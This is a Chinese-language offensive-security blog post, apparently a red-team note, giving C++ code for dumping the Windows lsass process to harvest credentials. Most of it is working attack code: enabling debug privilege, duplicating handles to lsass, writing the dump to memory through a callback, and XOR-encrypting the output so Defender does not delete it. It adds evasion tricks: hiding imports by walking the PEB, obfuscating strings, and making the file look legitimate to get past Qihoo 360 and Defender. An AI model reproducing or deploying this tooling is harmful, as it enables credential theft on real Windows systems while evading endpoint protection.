常规DumpLsass流程
常规DumpLsass流程如下
- 获取相关token权限
- 拿到lsass进程句柄
- 通过
MiniDumpWriteDump
API 来DumpLsass
Red Team Note上给出的代码如下
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
cmd下直接运行 并不能转储出来
而powershell可以 因为DumpLsass需要SeDebugPrivilege
权限 管理员Powershell默认是有的
如果想要在cmd中直接运行就需要提升进程权限
提升进程权限
- 通过
NtOpenProcessToken
获得当前进程的token - 通过
NtQueryInformationToken
判断token是否被提升 - 获取token的所有特权 遍历到
DebugPrivilege
后通过NtAdjustPrivilegesToken
设置为SE_PRIVILEGE_ENABLED
BOOL SetDebugPrivilege()
{
HANDLE token = NULL;
NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);
TOKEN_ELEVATION tokenElevation = { 0 };
DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);
NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);
if (tokenElevation.TokenIsElevated)
{
DWORD tokenPrivsSize = 0;
NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);
PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];
NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);
for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++)
{
if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14)
{
tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
}
}
delete tokenPrivs;
}
NtClose(token);
return TRUE;
}
这里直接写的0x14 如果想启用别的权限 可以通过API LookupPrivilegeValue
来通过名称查找LUID
进程遍历
-
CreateToolhelp32Snapshot
获取进程快照 -
Process32First
遍历快照中的进程 获取lsass.exe
的PID
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, charToLPCWSTR("lsass.exe")) != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
std::wcout << "[+] Got PID: " << lsassPID << std::endl;
}
MiniDump
通过MiniDumpWriteDump
读取lsass进程内存,并将结果保存到文件
MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
对抗点
这里我们就考虑使用MiniDumpWriteDump
- lsass内存的读
- dmp文件的写
- 导出表中的MiniDumpWriteDump
获取lsass句柄
本来用pypykatz的思路不直接打开lsass 但是这样很可能找不到相关的进程 从而无法dump
比如我本机就只有一个AsusSoftwareManager
几台虚拟机上都没有相关进程有对lsass.exe的访问句柄
那还是常规的通过遍历进程找到lsass.exe
1. 启用SE_PRIVILEGE_ENABLED
进程权限
代码上面写过 不贴了
2. 遍历pid打开lsass.exe
虽然是打开进程 但是我们最终不直接dump这个
通过NtOpenProcess
以PROCESS_DUP_HANDLE
权限打开进程
因为后续需要用NtDuplicateObject
复制句柄
const char lasStr[] = { 'l','s','a','s','s','.','e','x','e','\0' };
Process32First(hSnapshot, &pe32);
do {
if (_wcsicmp(pe32.szExeFile, charToLPCWSTR(lasStr)) != 0) {
continue;
}
pid = pe32.th32ProcessID;
CLIENT_ID clientId = { 0 };
clientId.UniqueProcess = (HANDLE)pid;
clientId.UniqueThread = 0;
OBJECT_ATTRIBUTES objAttr = { 0 };
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NtOpenProcess(&processHandle, PROCESS_DUP_HANDLE, &objAttr, &clientId);
if (!processHandle) {
printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
continue;
}
} while (Process32Next(hSnapshot, &pe32));
3. 通过NtQuerySystemInformation来获取所有进程打开的句柄及句柄的PID信息
加载需要用到的几个ntdll 这里的hlpGetProcAddress放在后面导入表隐藏说
PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)hlpGetProcAddress(ntdll, NtQuerySystemInformationStr);
PNtDuplicateObject NtDuplicateObject = (PNtDuplicateObject)hlpGetProcAddress(ntdll, NtDuplicateObjectStr);
PNtQueryObject NtQueryObject = (PNtQueryObject)hlpGetProcAddress(ntdll, NtQueryObjectStr);
myNtOpenProcess NtOpenProcess = (myNtOpenProcess)hlpGetProcAddress(ntdll, Op3npr0);
定义函数和相关枚举 这里枚举的名字注意改改避免重定义 然后定义enum class避免和winnt.h中的重定义
typedef enum class _SYSTEM_INFORMATION_CLASS1 {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
SystemPowerInformation,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS1, * PSYSTEM_INFORMATION_CLASS1;
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS1 SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(NTAPI* PNtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef enum class _OBJECT_INFORMATION_CLASS1 {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllInformation,
ObjectDataInformation
} OBJECT_INFORMATION_CLASS1, * POBJECT_INFORMATION_CLASS1;
typedef enum _POOL_TYPE {
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef NTSTATUS(NTAPI* PNtQueryObject)(
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS1 ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG Length,
OUT PULONG ResultLength);
NtQuerySystemInformation获得所有的句柄
while ((status = NtQuerySystemInformation(
_SYSTEM_INFORMATION_CLASS1::SystemHandleInformation,
handleInfo,
handleInfoSize,
NULL
)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
4. 遍历句柄
for (i = 0; i < handleInfo->HandleCount; i++)
{
SYSTEM_HANDLE handle = handleInfo->Handles[i];
HANDLE dupHandle = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
........
}
5. 通过NtDuplicateObject将句柄存储到dupHandle
NtDuplicateObject
参数分别为 以PROCESS_DUP_HANDLE
权限打开的进程 要复制的句柄 目标进程 复制得到的句柄 访问权限 另外两个无所谓
status = NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
if (status != 0) {
continue;
}
此时当前进程中已存在复制的句柄
5. 利用NtQueryObject判断句柄是否为进程句柄
也就是Type
是否为Process
再通过QueryFullProcessImageName
判断是否是我们需要的
const wchar_t w_lasStr[] = { 'l','s','a','s','s','.','e','x','e','\0' };
objectNameInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, _OBJECT_INFORMATION_CLASS1::ObjectTypeInformation, objectNameInfo, 0x1000, NULL);
if (status != 0) {
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)objectNameInfo;
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
if (wcsstr(path, w_lasStr) != NULL) {
...
}
}
6. 利用NtQueryObject判断句柄是否为进程句柄
MiniDump
typedef BOOL(WINAPI* PMiniDumpWriteDump)(
IN HANDLE hProcess,
IN DWORD ProcessId,
IN HANDLE hFile,
IN MINIDUMP_TYPE DumpType,
IN PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam OPTIONAL,
IN PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam OPTIONAL,
IN PMINIDUMP_CALLBACK_INFORMATION CallbackParam OPTIONAL
);
const char miniDumpStr[] = { 'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','\0' };
const char strDMP[] = { 'r','e','s','u','l','t','.','b','i','n','\0' };
PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));
HANDLE outFile = NULL;
WCHAR chDmpFile[MAX_PATH] = L"\\??\\C:\\";
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), charToLPCWSTR(strDMP));
UNICODE_STRING uFileName;
RtlInitUnicodeString(&uFileName, chDmpFile);
OBJECT_ATTRIBUTES FileObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntCreateFile(&outFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
MiniDumpWriteDump(dupHandle, NULL, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
7. 加密后输出
上面的代码已经可以实现dumpLsass了
但是在defender环境下转储的lsass如果不加密会直接杀
这里使用回调函数将每次的dump保存到缓冲区
DWORD bytesWritten = 0;
DWORD bytesRead = 0;
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 1024);
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
//Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
SecureZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = minidumpCallback;
callbackInfo.CallbackParam = NULL;
MiniDumpWriteDump(dupHandle, NULL, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
完了异或一下
for (i = 0; i < bytesRead; i++) {
((BYTE*)dumpBuffer)[i] ^= 0x17;
}
BOOL writeSuccess = WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL);
效果如下
导入表隐藏
通过loadlibrary和getprocaddress动态获取函数
ntdll的获取在这里没有用原生的loadlibrary
HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName) {
// get the offset of Process Environment Block
#ifdef _M_IX86
PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif
// return base address of a calling module
if (sModuleName == NULL)
return (HMODULE)(ProcEnvBlk->ImageBaseAddress);
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
LIST_ENTRY* ModuleList = NULL;
ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
// get current Data Table Entry
LDR_DATA_TABLE_ENTRY* pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
// check if module is found and return its base address
if (_wcsicmp(pEntry->BaseDllName.Buffer, sModuleName) == 0)
return (HMODULE)pEntry->DllBase;
}
// otherwise:
return NULL;
}
遍历PEB的ldr拿到指定dll
过qvm
qvm主要是判断你这个文件是否是正常文件
正经文件有的你都有就行了
icon version 签名 该加的都加上
2024-09-05
过核晶
加vmp后过defender
参考
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks
https://github.com/gitjdm/dumper2020
https://github.com/genghiskMSFT/psswin32
https://github.com/outflanknl/Dumpert
https://github.com/b4rth0v5k1/Night_Walker
https://mp.weixin.qq.com/s/Md2fP95Dmm9YvtWqjVYxvg
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://github.com/skelsec/pypykatz